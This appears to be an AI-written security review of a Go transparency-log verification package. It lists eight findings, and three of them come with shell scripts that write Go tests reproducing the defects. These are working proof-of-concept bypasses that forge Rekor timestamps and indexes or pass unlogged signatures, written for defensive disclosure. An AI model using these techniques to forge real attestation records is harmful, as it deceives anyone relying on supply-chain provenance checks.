internal/transparency at 382df06437, reviewed by claude-code, verified by antigravity.
VerifyInclusion treats the SET as optional (it is checked only when `len(entry.SET) > 0`), so deleting the SET from a stored Entry lets its IntegratedTime and global LogIndex be edited to anything and it still returns ok=true. The TUF key validity-window check, which lives only inside VerifySET, is skipped too. `corral certify verify` then prints the forged values as 'verified (publicly witnessed <time>, Rekor #N)'.
#!/bin/sh
cat > internal/transparency/zz_repro_fixture_test.go <<'EOF'
package transparency
import (
"context"
"crypto"
"crypto/ecdsa"
"crypto/ed25519"
"crypto/elliptic"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"encoding/hex"
"encoding/json"
"fmt"
"testing"
"time"
"github.com/pdbethke/corralai/internal/certify"
"github.com/sigstore/rekor/pkg/generated/models"
"github.com/sigstore/rekor/pkg/util"
"github.com/sigstore/sigstore-go/pkg/root"
"github.com/sigstore/sigstore/pkg/signature"
)
// A self-contained Rekor: its own P-256 log key stands in for the TUF-rooted one;
// the dsse body, Merkle proof, signed checkpoint and SET are built the way Rekor builds them.
type reproFixture struct {
w *rekorWitness
entry Entry
env []byte
payloadType, payload, keyID string
}
func reproMust(t *testing.T, err error) {
t.Helper()
if err != nil {
t.Fatal(err)
}
}
func reproLeaf(b []byte) []byte {
h := sha256.Sum256(append([]byte{0}, b...))
return h[:]
}
func reproNode(l, r []byte) []byte {
h := sha256.Sum256(append(append([]byte{1}, l...), r...))
return h[:]
}
func reproSET(t *testing.T, key *ecdsa.PrivateKey, body []byte, it, idx int64, logID string) []byte {
canon := fmt.Sprintf(`{"body":%q,"integratedTime":%d,"logID":%q,"logIndex":%d}`, base64.StdEncoding.EncodeToString(body), it, logID, idx)
d := sha256.Sum256([]byte(canon))
set, err := ecdsa.SignASN1(rand.Reader, key, d[:])
reproMust(t, err)
return set
}
func newReproFixture(t *testing.T) reproFixture {
logKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
reproMust(t, err)
id := sha256.Sum256([]byte("repro-log"))
logID := hex.EncodeToString(id[:])
w := &rekorWitness{rekorLogs: map[string]*root.TransparencyLog{logID: {
ID: id[:], PublicKey: &logKey.PublicKey, HashFunc: crypto.SHA256, SignatureHashFunc: crypto.SHA256,
ValidityPeriodStart: time.Now().Add(-24 * time.Hour),
}}}
pub, priv, err := ed25519.GenerateKey(rand.Reader)
reproMust(t, err)
env, err := certify.SignDSSE(map[string]any{
"_type": "https://in-toto.io/Statement/v1", "predicateType": "https://corralai.dev/attestation/test/v1",
"subject": []any{map[string]any{"name": "repro", "digest": map[string]any{"sha256": "abc123"}}},
}, priv, "repro-key")
reproMust(t, err)
var e struct {
PayloadType string `json:"payloadType"`
Payload string `json:"payload"`
Signatures []struct {
KeyID string `json:"keyid"`
Sig string `json:"sig"`
} `json:"signatures"`
}
reproMust(t, json.Unmarshal(env, &e))
if len(e.Signatures) != 1 {
t.Fatal("fixture: expected one signature")
}
payload, err := base64.StdEncoding.DecodeString(e.Payload)
reproMust(t, err)
ph, eh := sha256.Sum256(payload), sha256.Sum256(env)
pubPEM, err := marshalPublicKeyPEM(pub)
reproMust(t, err)
body, err := json.Marshal(map[string]any{"apiVersion": "0.0.1", "kind": "dsse", "spec": map[string]any{
"envelopeHash": map[string]string{"algorithm": "sha256", "value": hex.EncodeToString(eh[:])},
"payloadHash": map[string]string{"algorithm": "sha256", "value": hex.EncodeToString(ph[:])},
"signatures": []map[string]string{{"signature": e.Signatures[0].Sig, "verifier": base64.StdEncoding.EncodeToString(pubPEM)}},
}})
reproMust(t, err)
leaf, sib := reproLeaf(body), reproLeaf([]byte("another entry in the same tree"))
rootHash := reproNode(leaf, sib)
signer, err := signature.LoadECDSASignerVerifier(logKey, crypto.SHA256)
reproMust(t, err)
cp, err := util.CreateAndSignCheckpoint(context.Background(), "rekor.repro", 1, 2, rootHash, signer)
reproMust(t, err)
pidx, size, rh, cps := int64(0), int64(2), hex.EncodeToString(rootHash), string(cp)
proof, err := json.Marshal(models.InclusionProof{Checkpoint: &cps, Hashes: []string{hex.EncodeToString(sib)}, LogIndex: &pidx, RootHash: &rh, TreeSize: &size})
reproMust(t, err)
it, gidx := time.Now().Add(-time.Minute).Unix(), int64(424242)
entry := Entry{LogIndex: gidx, LogID: logID, IntegratedTime: it, InclusionProof: proof, SET: reproSET(t, logKey, body, it, gidx, logID), Body: body}
ok, detail := w.VerifyInclusion(entry, env)
fmt.Println("BASELINE honest entry + honest envelope: ok =", ok, "|", detail)
if !ok {
t.Fatal("fixture broken: the honest entry does not verify, so nothing below would mean anything")
}
return reproFixture{w: w, entry: entry, env: env, payloadType: e.PayloadType, payload: e.Payload, keyID: e.Signatures[0].KeyID}
}
EOF
cat > internal/transparency/zz_repro_set_test.go <<'EOF'
package transparency
import (
"encoding/json"
"fmt"
"testing"
"time"
)
func TestReproSETIsOptional(t *testing.T) {
f := newReproFixture(t)
forged := f.entry
forged.IntegratedTime = time.Date(2001, 1, 1, 0, 0, 0, 0, time.UTC).Unix()
forged.LogIndex = 1
ok, detail := f.w.VerifyInclusion(forged, f.env)
fmt.Println("CONTROL SET kept, integratedTime+logIndex edited: ok =", ok, "|", detail)
if ok {
t.Fatal("control accepted the edit even with a SET present")
}
forged.SET = nil
raw, err := json.Marshal(forged)
reproMust(t, err)
var rec Entry
reproMust(t, json.Unmarshal(raw, &rec))
ok, detail = f.w.VerifyInclusion(rec, f.env)
fmt.Println("DEFECT SET deleted from the stored entry, same edits: ok =", ok, "|", detail)
if !ok {
t.Fatal("not reproduced: the SET-less entry was refused")
}
fmt.Println("cmd/corral/verify.go:260 would print: verified (publicly witnessed", time.Unix(rec.IntegratedTime, 0).UTC().Format(time.RFC3339)+", Rekor #"+fmt.Sprint(rec.LogIndex)+")")
}
EOF
go test ./internal/transparency/ -run '^TestReproSETIsOptional$' -count=1 -v 2>&1=== RUN TestReproSETIsOptional BASELINE honest entry + honest envelope: ok = true | rekor inclusion proof and SET verified against the TUF trust root CONTROL SET kept, integratedTime+logIndex edited: ok = false | signed entry timestamp did not verify: rekor log public key not valid at payload integrated time DEFECT SET deleted from the stored entry, same edits: ok = true | rekor inclusion proof verified against the TUF trust root (no SET present) cmd/corral/verify.go:260 would print: verified (publicly witnessed 2001-01-01T00:00:00Z, Rekor #1) --- PASS: TestReproSETIsOptional (0.00s) PASS ok github.com/pdbethke/corralai/internal/transparency 0.009s
We attempted to refute R1 by checking whether tlog.VerifyInclusion or any other verification step in internal/transparency or internal/certverify validates the entry's IntegratedTime or LogIndex. In internal/transparency/rekor.go:283, tlog.VerifySET is guarded by `if len(entry.SET) > 0`. The underlying Merkle inclusion proof verified in step 1 (via rfc6962.DefaultHasher.HashLeaf) covers only entry.Body; neither LogIndex nor IntegratedTime is included in the leaf hash. Without a SET, VerifySET and its embedded TUF validity-window checks are skipped entirely, and VerifyInclusion returns ok=true. Downstream in cmd/corral/verify.go:259-260, the unauthenticated IntegratedTime and LogIndex are formatted directly into stdout as 'verified (publicly witnessed <time>, Rekor #N)'. The finding stands.
ref cfeb23e705c43a783bd1ed005bc35c5fdaf512335b6ecb6af9df111ca8b34450#R1
The R2 signature binding fails open when the ENVELOPE, which is attacker input, fails to parse: an envelope carrying a signature that was never logged is refused on its own, but accepted (ok=true) once it also contains one non-string `sig` element, or when it carries no signatures at all. The reason string then falsely says 'unrecognized entry body shape'. Rekor never logs a zero-signature dsse envelope, so refusing these cases would break nothing legitimate.
#!/bin/sh
cat > internal/transparency/zz_repro_fixture_test.go <<'EOF'
package transparency
import (
"context"
"crypto"
"crypto/ecdsa"
"crypto/ed25519"
"crypto/elliptic"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"encoding/hex"
"encoding/json"
"fmt"
"testing"
"time"
"github.com/pdbethke/corralai/internal/certify"
"github.com/sigstore/rekor/pkg/generated/models"
"github.com/sigstore/rekor/pkg/util"
"github.com/sigstore/sigstore-go/pkg/root"
"github.com/sigstore/sigstore/pkg/signature"
)
// A self-contained Rekor: its own P-256 log key stands in for the TUF-rooted one;
// the dsse body, Merkle proof, signed checkpoint and SET are built the way Rekor builds them.
type reproFixture struct {
w *rekorWitness
entry Entry
env []byte
payloadType, payload, keyID string
}
func reproMust(t *testing.T, err error) {
t.Helper()
if err != nil {
t.Fatal(err)
}
}
func reproLeaf(b []byte) []byte {
h := sha256.Sum256(append([]byte{0}, b...))
return h[:]
}
func reproNode(l, r []byte) []byte {
h := sha256.Sum256(append(append([]byte{1}, l...), r...))
return h[:]
}
func reproSET(t *testing.T, key *ecdsa.PrivateKey, body []byte, it, idx int64, logID string) []byte {
canon := fmt.Sprintf(`{"body":%q,"integratedTime":%d,"logID":%q,"logIndex":%d}`, base64.StdEncoding.EncodeToString(body), it, logID, idx)
d := sha256.Sum256([]byte(canon))
set, err := ecdsa.SignASN1(rand.Reader, key, d[:])
reproMust(t, err)
return set
}
func newReproFixture(t *testing.T) reproFixture {
logKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
reproMust(t, err)
id := sha256.Sum256([]byte("repro-log"))
logID := hex.EncodeToString(id[:])
w := &rekorWitness{rekorLogs: map[string]*root.TransparencyLog{logID: {
ID: id[:], PublicKey: &logKey.PublicKey, HashFunc: crypto.SHA256, SignatureHashFunc: crypto.SHA256,
ValidityPeriodStart: time.Now().Add(-24 * time.Hour),
}}}
pub, priv, err := ed25519.GenerateKey(rand.Reader)
reproMust(t, err)
env, err := certify.SignDSSE(map[string]any{
"_type": "https://in-toto.io/Statement/v1", "predicateType": "https://corralai.dev/attestation/test/v1",
"subject": []any{map[string]any{"name": "repro", "digest": map[string]any{"sha256": "abc123"}}},
}, priv, "repro-key")
reproMust(t, err)
var e struct {
PayloadType string `json:"payloadType"`
Payload string `json:"payload"`
Signatures []struct {
KeyID string `json:"keyid"`
Sig string `json:"sig"`
} `json:"signatures"`
}
reproMust(t, json.Unmarshal(env, &e))
if len(e.Signatures) != 1 {
t.Fatal("fixture: expected one signature")
}
payload, err := base64.StdEncoding.DecodeString(e.Payload)
reproMust(t, err)
ph, eh := sha256.Sum256(payload), sha256.Sum256(env)
pubPEM, err := marshalPublicKeyPEM(pub)
reproMust(t, err)
body, err := json.Marshal(map[string]any{"apiVersion": "0.0.1", "kind": "dsse", "spec": map[string]any{
"envelopeHash": map[string]string{"algorithm": "sha256", "value": hex.EncodeToString(eh[:])},
"payloadHash": map[string]string{"algorithm": "sha256", "value": hex.EncodeToString(ph[:])},
"signatures": []map[string]string{{"signature": e.Signatures[0].Sig, "verifier": base64.StdEncoding.EncodeToString(pubPEM)}},
}})
reproMust(t, err)
leaf, sib := reproLeaf(body), reproLeaf([]byte("another entry in the same tree"))
rootHash := reproNode(leaf, sib)
signer, err := signature.LoadECDSASignerVerifier(logKey, crypto.SHA256)
reproMust(t, err)
cp, err := util.CreateAndSignCheckpoint(context.Background(), "rekor.repro", 1, 2, rootHash, signer)
reproMust(t, err)
pidx, size, rh, cps := int64(0), int64(2), hex.EncodeToString(rootHash), string(cp)
proof, err := json.Marshal(models.InclusionProof{Checkpoint: &cps, Hashes: []string{hex.EncodeToString(sib)}, LogIndex: &pidx, RootHash: &rh, TreeSize: &size})
reproMust(t, err)
it, gidx := time.Now().Add(-time.Minute).Unix(), int64(424242)
entry := Entry{LogIndex: gidx, LogID: logID, IntegratedTime: it, InclusionProof: proof, SET: reproSET(t, logKey, body, it, gidx, logID), Body: body}
ok, detail := w.VerifyInclusion(entry, env)
fmt.Println("BASELINE honest entry + honest envelope: ok =", ok, "|", detail)
if !ok {
t.Fatal("fixture broken: the honest entry does not verify, so nothing below would mean anything")
}
return reproFixture{w: w, entry: entry, env: env, payloadType: e.PayloadType, payload: e.Payload, keyID: e.Signatures[0].KeyID}
}
EOF
cat > internal/transparency/zz_repro_envfailopen_test.go <<'EOF'
package transparency
import (
"encoding/base64"
"fmt"
"testing"
)
func TestReproEnvelopeSideFailOpen(t *testing.T) {
f := newReproFixture(t)
never := base64.StdEncoding.EncodeToString(make([]byte, 64))
mk := func(sigs string) []byte {
return []byte(fmt.Sprintf(`{"payload":%q,"payloadType":%q,"signatures":%s}`, f.payload, f.payloadType, sigs))
}
okC, dC := f.w.VerifyInclusion(f.entry, mk(fmt.Sprintf(`[{"keyid":%q,"sig":%q}]`, f.keyID, never)))
fmt.Println("CONTROL a signature that was never logged: ok =", okC, "|", dC)
okP, dP := f.w.VerifyInclusion(f.entry, mk(fmt.Sprintf(`[{"keyid":%q,"sig":%q},{"sig":0}]`, f.keyID, never)))
fmt.Println("DEFECT the same unlogged signature plus one non-string sig element: ok =", okP, "|", dP)
okE, dE := f.w.VerifyInclusion(f.entry, mk("[]"))
fmt.Println("DEFECT an envelope carrying no signatures at all: ok =", okE, "|", dE)
if okC {
t.Fatal("control accepted an unlogged signature; R2's check is not working at all")
}
if !okP || !okE {
t.Fatal("not reproduced")
}
}
EOF
go test ./internal/transparency/ -run '^TestReproEnvelopeSideFailOpen$' -count=1 -v 2>&1=== RUN TestReproEnvelopeSideFailOpen BASELINE honest entry + honest envelope: ok = true | rekor inclusion proof and SET verified against the TUF trust root CONTROL a signature that was never logged: ok = false | log entry does not wrap the given envelope (a signature it carries was never logged) DEFECT the same unlogged signature plus one non-string sig element: ok = true | rekor inclusion proof and SET verified against the TUF trust root; signatures not compared (unrecognized entry body shape) DEFECT an envelope carrying no signatures at all: ok = true | rekor inclusion proof and SET verified against the TUF trust root; signatures not compared (unrecognized entry body shape) --- PASS: TestReproEnvelopeSideFailOpen (0.00s) PASS ok github.com/pdbethke/corralai/internal/transparency 0.010s
We examined loggedSignaturesCover in internal/transparency/rekor.go:344-365. When dsseEnvelope contains a malformed signature element (such as a non-string `sig` value) or an empty `signatures` array, json.Unmarshal fails or len(env.Signatures) == 0, causing loggedSignaturesCover to return checked=false, covered=false. At rekor.go:314, VerifyInclusion rejects only when `checked && !covered`. Because checked is false, the rejection branch is bypassed, the suffix '; signatures not compared (unrecognized entry body shape)' is appended, and VerifyInclusion returns ok=true. Because the envelope is external attacker input rather than an unreadable log body, malforming the envelope allows unlogged signatures to pass verification. The finding stands.
ref cfeb23e705c43a783bd1ed005bc35c5fdaf512335b6ecb6af9df111ca8b34450#R2
VerifyInclusion never compares the spec.envelopeHash that Rekor logged, so an envelope that differs from the logged one (here, a changed payloadType, which also makes its own signature invalid) passes as 'wraps the given envelope'. The given reason, that re-serialization would break the comparison, does not fit: Anchor submits the exact bytes and Rekor hashes those exact bytes (rekor dsse v0.0.1 entry.go:348/456).
#!/bin/sh
cat > internal/transparency/zz_repro_fixture_test.go <<'EOF'
package transparency
import (
"context"
"crypto"
"crypto/ecdsa"
"crypto/ed25519"
"crypto/elliptic"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"encoding/hex"
"encoding/json"
"fmt"
"testing"
"time"
"github.com/pdbethke/corralai/internal/certify"
"github.com/sigstore/rekor/pkg/generated/models"
"github.com/sigstore/rekor/pkg/util"
"github.com/sigstore/sigstore-go/pkg/root"
"github.com/sigstore/sigstore/pkg/signature"
)
// A self-contained Rekor: its own P-256 log key stands in for the TUF-rooted one;
// the dsse body, Merkle proof, signed checkpoint and SET are built the way Rekor builds them.
type reproFixture struct {
w *rekorWitness
entry Entry
env []byte
payloadType, payload, keyID string
}
func reproMust(t *testing.T, err error) {
t.Helper()
if err != nil {
t.Fatal(err)
}
}
func reproLeaf(b []byte) []byte {
h := sha256.Sum256(append([]byte{0}, b...))
return h[:]
}
func reproNode(l, r []byte) []byte {
h := sha256.Sum256(append(append([]byte{1}, l...), r...))
return h[:]
}
func reproSET(t *testing.T, key *ecdsa.PrivateKey, body []byte, it, idx int64, logID string) []byte {
canon := fmt.Sprintf(`{"body":%q,"integratedTime":%d,"logID":%q,"logIndex":%d}`, base64.StdEncoding.EncodeToString(body), it, logID, idx)
d := sha256.Sum256([]byte(canon))
set, err := ecdsa.SignASN1(rand.Reader, key, d[:])
reproMust(t, err)
return set
}
func newReproFixture(t *testing.T) reproFixture {
logKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
reproMust(t, err)
id := sha256.Sum256([]byte("repro-log"))
logID := hex.EncodeToString(id[:])
w := &rekorWitness{rekorLogs: map[string]*root.TransparencyLog{logID: {
ID: id[:], PublicKey: &logKey.PublicKey, HashFunc: crypto.SHA256, SignatureHashFunc: crypto.SHA256,
ValidityPeriodStart: time.Now().Add(-24 * time.Hour),
}}}
pub, priv, err := ed25519.GenerateKey(rand.Reader)
reproMust(t, err)
env, err := certify.SignDSSE(map[string]any{
"_type": "https://in-toto.io/Statement/v1", "predicateType": "https://corralai.dev/attestation/test/v1",
"subject": []any{map[string]any{"name": "repro", "digest": map[string]any{"sha256": "abc123"}}},
}, priv, "repro-key")
reproMust(t, err)
var e struct {
PayloadType string `json:"payloadType"`
Payload string `json:"payload"`
Signatures []struct {
KeyID string `json:"keyid"`
Sig string `json:"sig"`
} `json:"signatures"`
}
reproMust(t, json.Unmarshal(env, &e))
if len(e.Signatures) != 1 {
t.Fatal("fixture: expected one signature")
}
payload, err := base64.StdEncoding.DecodeString(e.Payload)
reproMust(t, err)
ph, eh := sha256.Sum256(payload), sha256.Sum256(env)
pubPEM, err := marshalPublicKeyPEM(pub)
reproMust(t, err)
body, err := json.Marshal(map[string]any{"apiVersion": "0.0.1", "kind": "dsse", "spec": map[string]any{
"envelopeHash": map[string]string{"algorithm": "sha256", "value": hex.EncodeToString(eh[:])},
"payloadHash": map[string]string{"algorithm": "sha256", "value": hex.EncodeToString(ph[:])},
"signatures": []map[string]string{{"signature": e.Signatures[0].Sig, "verifier": base64.StdEncoding.EncodeToString(pubPEM)}},
}})
reproMust(t, err)
leaf, sib := reproLeaf(body), reproLeaf([]byte("another entry in the same tree"))
rootHash := reproNode(leaf, sib)
signer, err := signature.LoadECDSASignerVerifier(logKey, crypto.SHA256)
reproMust(t, err)
cp, err := util.CreateAndSignCheckpoint(context.Background(), "rekor.repro", 1, 2, rootHash, signer)
reproMust(t, err)
pidx, size, rh, cps := int64(0), int64(2), hex.EncodeToString(rootHash), string(cp)
proof, err := json.Marshal(models.InclusionProof{Checkpoint: &cps, Hashes: []string{hex.EncodeToString(sib)}, LogIndex: &pidx, RootHash: &rh, TreeSize: &size})
reproMust(t, err)
it, gidx := time.Now().Add(-time.Minute).Unix(), int64(424242)
entry := Entry{LogIndex: gidx, LogID: logID, IntegratedTime: it, InclusionProof: proof, SET: reproSET(t, logKey, body, it, gidx, logID), Body: body}
ok, detail := w.VerifyInclusion(entry, env)
fmt.Println("BASELINE honest entry + honest envelope: ok =", ok, "|", detail)
if !ok {
t.Fatal("fixture broken: the honest entry does not verify, so nothing below would mean anything")
}
return reproFixture{w: w, entry: entry, env: env, payloadType: e.PayloadType, payload: e.Payload, keyID: e.Signatures[0].KeyID}
}
EOF
cat > internal/transparency/zz_repro_envhash_test.go <<'EOF'
package transparency
import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"testing"
)
func TestReproEnvelopeHashIgnored(t *testing.T) {
f := newReproFixture(t)
var m map[string]any
reproMust(t, json.Unmarshal(f.env, &m))
m["payloadType"] = "application/x-never-signed-never-logged"
swapped, err := json.Marshal(m)
reproMust(t, err)
var logged dsseEntryBody
reproMust(t, json.Unmarshal(f.entry.Body, &logged))
sum := sha256.Sum256(swapped)
fmt.Println("logged spec.envelopeHash =", logged.Spec.EnvelopeHash.Value)
fmt.Println("sha256(given envelope) =", hex.EncodeToString(sum[:]))
ok, detail := f.w.VerifyInclusion(f.entry, swapped)
fmt.Println("DEFECT envelope whose payloadType was never signed or logged: ok =", ok, "|", detail)
if logged.Spec.EnvelopeHash.Value == hex.EncodeToString(sum[:]) {
t.Fatal("hashes equal; demonstration invalid")
}
if !ok {
t.Fatal("not reproduced")
}
}
EOF
go test ./internal/transparency/ -run '^TestReproEnvelopeHashIgnored$' -count=1 -v 2>&1=== RUN TestReproEnvelopeHashIgnored BASELINE honest entry + honest envelope: ok = true | rekor inclusion proof and SET verified against the TUF trust root logged spec.envelopeHash = a58db1f0362cfe49f3adcb9a7ca315508fa74e8d04184663a23443c465c98049 sha256(given envelope) = e76f194dd169de5ed8f393031388bdb04f86f68ea7b41be190b2960df9f35138 DEFECT envelope whose payloadType was never signed or logged: ok = true | rekor inclusion proof and SET verified against the TUF trust root --- PASS: TestReproEnvelopeHashIgnored (0.00s) PASS ok github.com/pdbethke/corralai/internal/transparency 0.008s
We evaluated whether VerifyInclusion compares spec.envelopeHash or detects a modified payloadType. In internal/transparency/rekor.go:289-316, step 3 checks only GetDssePayloadHash against sha256(payload), and step 4 checks that the envelope's signatures match logged.Spec.Signatures. Swapping payloadType leaves the decoded payload unchanged (so step 3 passes) and preserves the signature strings (so step 4 passes, despite the signature being invalid under DSSE PAE for the new payloadType). Rekor's recorded spec.envelopeHash is never compared against the input envelope anywhere in VerifyInclusion, allowing the altered envelope to verify with ok=true. The finding stands.
ref cfeb23e705c43a783bd1ed005bc35c5fdaf512335b6ecb6af9df111ca8b34450#R3
R2 is still open for intoto v0.0.2 entries. sigstore-go's GetDssePayloadHash returns a payload hash for intoto (tlog/entry.go:452), so step 3 passes. loggedSignaturesCover then reads only spec.signatures, finds nothing, and returns checked=false, so step 4 is skipped. Yet an intoto body does record its signatures, at spec.content.envelope.signatures. So an envelope with a never-logged signature verifies against any intoto entry anyone logged over the same payload, and the stated rationale ('cannot tell a bad case from a legitimate one') is false for this kind.
We verified the type registration and execution path for intoto v0.0.2 entries. In sigstore-go@v1.2.2/pkg/tlog/entry.go:45-46, intoto v0.0.2 is imported, registering the type in Rekor's TypeMap and enabling GetDssePayloadHash to extract payload hashes for *intoto_v002.V002Entry, which satisfies step 3 of VerifyInclusion. However, loggedSignaturesCover in rekor.go:345-364 only decodes spec.signatures. In an intoto v0.0.2 entry body, signatures are stored under spec.content.envelope.signatures, leaving logged.Spec.Signatures empty. As a result, loggedSignaturesCover returns checked=false, step 4 is skipped, and VerifyInclusion returns ok=true for an envelope with an unlogged signature. The finding stands.
ref cfeb23e705c43a783bd1ed005bc35c5fdaf512335b6ecb6af9df111ca8b34450#R4
The 'never silently so' promise (rekor.go:225-227) is not kept at the `corral certify verify` door. Details are printed only for FAILING checks; on success the CLI prints its own 'verified (publicly witnessed …)' line, so the suffixes '(no SET present)' and 'signatures not compared' never reach the user.
We checked the CLI reporting logic in cmd/corral/verify.go:216-261. Lines 216-232 iterate through checks and execute `if c.OK { continue }`, ignoring the Detail field for all successful checks. On overall success, lines 259-260 print only 'verified (publicly witnessed %s, Rekor #%d)\n'. Although certverify.go:211 preserves the detail string returned by VerifyInclusion (such as '(no SET present)' or '; signatures not compared (unrecognized entry body shape)'), cmd/corral/verify.go never outputs c.Detail on success, leaving the weaker binding completely undisclosed to the CLI user. The finding stands.
ref cfeb23e705c43a783bd1ed005bc35c5fdaf512335b6ecb6af9df111ca8b34450#R5
doc.go says a later `corral certify verify` re-checks the inclusion proof 'without touching the network again'. But each verify builds a fresh witness via NewRekorWitness, which calls root.FetchTrustedRoot(). With sigstore-go's default CacheValidity of 0 that is an online TUF refresh, so verification needs the network.
We inspected internal/transparency/doc.go:14-16 and the witness construction in cmd/corral/verify.go:209-211 and internal/transparency/rekor.go:86. Verifying an anchored record invokes NewRekorWitness, which calls root.FetchTrustedRoot(). In sigstore-go@v1.2.2/pkg/root/trusted_root.go:410-412 and pkg/tuf/options.go:131-147, this invokes TUF with DefaultOptions(), where CacheValidity defaults to 0. In pkg/tuf/client.go:112-127, CacheValidity <= 0 bypasses local cache checks and unconditionally executes c.Refresh(), requiring network access to Sigstore's TUF CDN. Without network connectivity, witness construction fails. The finding stands.
ref cfeb23e705c43a783bd1ed005bc35c5fdaf512335b6ecb6af9df111ca8b34450#R6
Anchor's comment says it re-fetches by UUID 'until' the inclusion proof is present, but it makes a single attempt. On a UUID miss, fetchEntryByUUID takes an arbitrary map element without checking it is the entry just created.
We inspected Anchor and fetchEntryByUUID in internal/transparency/rekor.go:141-175. Lines 143-149 execute a single `if` check rather than a loop or retry mechanism when an inclusion proof is missing from the initial create response. In fetchEntryByUUID (rekor.go:164-169), if resp.Payload[uuid] does not match, the code iterates over resp.Payload and assigns the first map element encountered to `le` without verifying that it matches the created entry's ID or confirming the map size. The finding stands.
ref cfeb23e705c43a783bd1ed005bc35c5fdaf512335b6ecb6af9df111ca8b34450#R7
Logger.Get never checks that the fetched entry is a dsse entry, or that its LogIndex is the one requested. A non-dsse entry yields EnvelopeSHA256 == "" with no error, so `corral verify` reports a tamper-style hash mismatch (exit 1) when the real problem is an index pointing at the wrong kind of entry.
We reviewed Logger.Get in internal/transparency/logger.go:178-211 and verifyRekorInclusion in cmd/corral/verify_attest.go:486-505. In logger.go:178-185, Get selects the first map entry in resp.Payload without verifying that its LogIndex matches the requested logIndex. In lines 201-204, Get unmarshals bodyBytes into dsseEntryBody without checking the entry kind. For any non-DSSE entry, unmarshaling succeeds, yielding EnvelopeSHA256 == "" with err == nil. In verify_attest.go:501-504, this empty string triggers a hash mismatch error and causes runVerifyAttest to exit 1 as a failed check rather than surfacing an invalid entry kind. The finding stands.
ref cfeb23e705c43a783bd1ed005bc35c5fdaf512335b6ecb6af9df111ca8b34450#R8
Recorded so that "found nothing here" can be told apart from "never looked here".
I found no crash and no way to forge a Merkle proof. The problem is the claims VerifyInclusion makes after the proof checks out. One of those claims fails in a way that reaches a user. Finding 1 (high): the Signed Entry Timestamp is only checked when it is present, and nothing else authenticates the entry's global LogIndex or IntegratedTime. Anyone holding a real record can delete the SET, set the integrated time to any date they like and change the index, and VerifyInclusion still returns ok=true. The TUF key's validity window is checked only inside the skipped SET step, so that check goes too. `corral certify verify` then prints those invented values as 'verified (publicly witnessed <time>, Rekor #N)'. Real Rekor entries always carry a SET, so requiring one would reject nothing legitimate. Finding 2 (medium): the signature-binding fix from the last review (R2) falls back to 'disclose, don't refuse' whenever the parse fails. The code justifies that by pointing to unreadable entry-body shapes on the log side, but the same fallback fires when the parse fails on the ENVELOPE, which the attacker controls. Adding one non-string `sig` element, or sending no signatures at all, turns a refused never-logged signature into ok=true. The reason string then says 'unrecognized entry body shape', which is false: the body was read fine. This is the one-door pattern again: the refusal exists for a well-formed envelope and is missing for a malformed one. Finding 3 (low): the envelope hash that Rekor did log is never compared. So an envelope Rekor never saw (here, a changed payloadType, which also invalidates its own signature) passes as 'wraps the given envelope'. Finding 4 (medium, from reading the code only): intoto v0.0.2 entries pass step 3, because sigstore-go returns a payload hash for them. Step 4 is then skipped even though intoto bodies do record the signatures, just at a different path. R2 is therefore still open for any intoto entry anyone logs over the same payload. Finding 5: the disclosure suffixes that are meant to keep a weak binding 'never silent' never reach the CLI user on success. Findings 6–8 are documentation and robustness gaps. For certverify in practice, findings 2–4 are blunted because check 1 verifies the pinned Ed25519 signature first, and that check rejects the malformed or re-typed envelopes. Finding 1 is not blunted: the Rekor field is not covered by any signature.
The review is exceptionally thorough and technically accurate across all eight findings. Findings R1–R3 are supported by reproducible test fixtures showing concrete defects in VerifyInclusion (optional SET bypassing timestamps/indexes in R1, envelope-side parse fail-open in R2, and skipped envelopeHash comparisons in R3). Finding R4 correctly observes that sigstore-go recognizes intoto v0.0.2 while loggedSignaturesCover skips checking its signatures due to differing JSON paths. Finding R5 identifies that cmd/corral/verify.go discards VerifyInclusion's disclosure suffixes on success. Findings R6–R8 correctly flag an online TUF refresh despite offline claims in doc.go (R6), a single non-retrying fetch that picks an arbitrary map entry in Anchor (R7), and unvalidated entry types causing silent zero-hash mismatches in Logger.Get (R8). None of the findings could be refuted.